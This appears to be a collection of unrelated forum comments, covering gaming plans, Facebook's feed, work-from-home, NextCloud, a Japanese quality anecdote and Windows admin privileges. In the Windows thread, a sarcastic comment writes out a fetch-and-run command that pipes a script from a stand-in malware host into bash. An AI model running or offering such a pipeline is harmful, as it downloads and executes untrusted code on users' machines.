Thanks! I’ll work from this going forward, maybe check it against Wikipedia as a popularity heuristic.
One thing I realized today is that, if I’m doing an “ideal year of gaming”, there’s a limit to the hours I could spend in such a year, which puts a nice limit on how many games I can include. Maybe 100 games per year, tops. This lets me do a lot faster filtering.
I used the tag to see conditions of areas I wanted to visit. Like if someone tagged photos, #NationalPark, I could see how much snow was on the ground and bring the right gear.
I believe yes, it's that easy. Zuck is breaking your feed posting ads and low quality retention content, you see only the most vocal discussions, people who post less often are not shown at all, and one day you realize your old FB which was more about connecting with others is just full of shit you have no intention of following at all. Sometimes your muscle memory wins so you open it once or twice to see what is going on, still same unpleasant experience, and then you quit.
No. It's about total loss of the control of the one of the most effective productivity measurements those 'elites' ever had: BiC/h.
Zombie towers too, but the middle management don't (and won't ever) get any profit from the sqaure meters, so they eagerly support their top-level executives specifically because they no longer can imitate the vigorous activity of managing people and projects and with WFH it's became way too obvious. They literally don't know what they subordinates do.
... DevOps shouldn't be deploying, administering and maintaining something like NextCloud.
And honestly without any additional input this question sounds like "I worry what I would be in a position when NextCloud wouldn't be able to support the needs of 10000s users. BTW currently it's me myself and my dog in this startup".
> It's a running joke at this point, because Japanese cannot compromise quality to make costs reasonable.
An old anecdote:
A company places an order to produce some gizmo through a Japanese firm. The order states what is could be "up to three non-working gizmos per one hundred in the final shipment". The order is completed, the employee comes to get it, sees a big packed boxes and a small one. He asks "what's in the big boxes?" and receives "That's your one hundred gizmos, like you ordered". He asks again "But what is in this small box there?" and receives "That's your three non-working gizmos, like you ordered".
> Problem number 3, Windows still let you root a machine by 1 line in powershell? What the @$$%&%&#$?
sigh It needs to be run under an account with admin privileges for that. The shield on the "Run" dialog screenshot clearly indicates what it was taken under a user with admin privileges and UAC disabled.
Come on, now cry what Linux still let you root a machine by 1 line in curl malware.zyx/evilscript | bash.
> … by 1 like in curl malware.zyx/evilscript | bash.
Making the script POSIX compliant would allow hacking computers without bash. Then you can pipe it into just “sh” which is guaranteed to be on the PATH.
> it was taken under a user with admin privileges and UAC disabled.
you will have to accept that users either ask this UAC to be turned off, or it gets turned off by the original installer of the windows for the user (presumably non-technical user).
It's like telling traffic accident sufferers that they should've put on a seatbelt. True, but pointless.
> you will have to accept that users either ask this UAC to be turned off
Running with UAC disabled under an admin account?
That's not only a lack of a seatbelt, but wearing a flip-flops too.
And I'm eating my dogfood too, I'm running under a regular user since migrated from Vista, both on personal and work devices. Sometimes it's PITA, sure, but it's manageable.
Great work anyway, and it's interesting how the errors (and not the errors) in the vote coubt manifest. Thanks!
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